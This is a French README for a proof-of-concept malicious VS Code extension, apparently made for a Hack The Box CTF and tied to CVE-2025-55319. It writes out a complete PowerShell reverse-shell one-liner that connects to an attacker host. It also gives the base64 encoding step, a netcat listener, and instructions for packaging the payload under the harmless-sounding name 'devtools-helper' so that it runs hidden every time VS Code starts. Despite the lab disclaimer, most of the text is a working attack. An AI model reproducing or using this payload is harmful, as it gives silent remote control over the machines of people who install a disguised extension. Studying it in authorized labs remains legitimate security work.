
PoC pour CVE-2025-55319
Référence: CVE-2025-55319
Extension VS Code (.vsix) de preuve de concept pour le challenge HTB "Checkpoint".
Une fois installée, l'extension s'active automatiquement et lance un reverse shell PowerShell
caché vers l'attaquant.
⚠️ Réservé à un usage autorisé. Ceci est un artefact de CTF/laboratoire. Ne le déployez que sur des machines vous appartenant ou pour lesquelles vous êtes explicitement autorisé à tester (par ex. une machine cible HTB).
extension/package.json — manifeste de l'extension. "activationEvents": ["*"] fait qu'elle
s'exécute dès le chargement de VS Code, sans aucune interaction de l'utilisateur.extension/extension.js — lors de activate(), exécute un payload PowerShell encodé en base64
avec -WindowStyle Hidden -NoProfile pour un reverse shell silencieux.[Content_Types].xml — manifeste de types de contenu OpenXML afin que le dossier puisse être compressé
en un package .vsix valide..
├── [Content_Types].xml # VSIX content-type manifest
└── extension/
├── package.json # extension manifest (activates on "*")
└── extension.js # reverse-shell payload
Générez un reverse shell PowerShell en base64 (UTF-16LE) pointant vers votre machine d'attaque:
LHOST=10.10.15.158
LPORT=4443
PS="\$c=New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){\$d=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$sb=([text.encoding]::ASCII).GetBytes(\$r+'PS> ');\$s.Write(\$sb,0,\$sb.Length);\$s.Flush()}"
echo -n "$PS" | iconv -t UTF-16LE | base64 -w0
Collez la sortie à la place de YOUR_BASE64_PAYLOAD_HERE dans extension/extension.js:
const payload = '<base64-blob-here>'
nc -lvnp 4443
Un .vsix est simplement un ZIP contenant le dossier extension/ et le manifeste à la racine:
# from this directory
zip -r devtools-helper.vsix extension "[Content_Types].xml"
Faites installer l'extension sur la cible. Soit:
code --install-extension devtools-helper.vsix··· → Installer à partir du VSIX…Au prochain lancement de VS Code (ou immédiatement après l'installation), l'événement d'activation *
se déclenche, le payload s'exécute et votre listener reçoit le shell.
$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [10.10.15.158] from ...
PS>
Retirez l'extension de la cible une fois terminé:
code --uninstall-extension devtools.devtools-helper
extension.js pour d'autres plateformes.os est importé dans extension.js mais inutilisé — pratique si vous souhaitez faire un branchement selon
os.platform() pour prendre en charge des cibles Linux/macOS.version dans package.json entre deux builds si vous ré-empaquetez.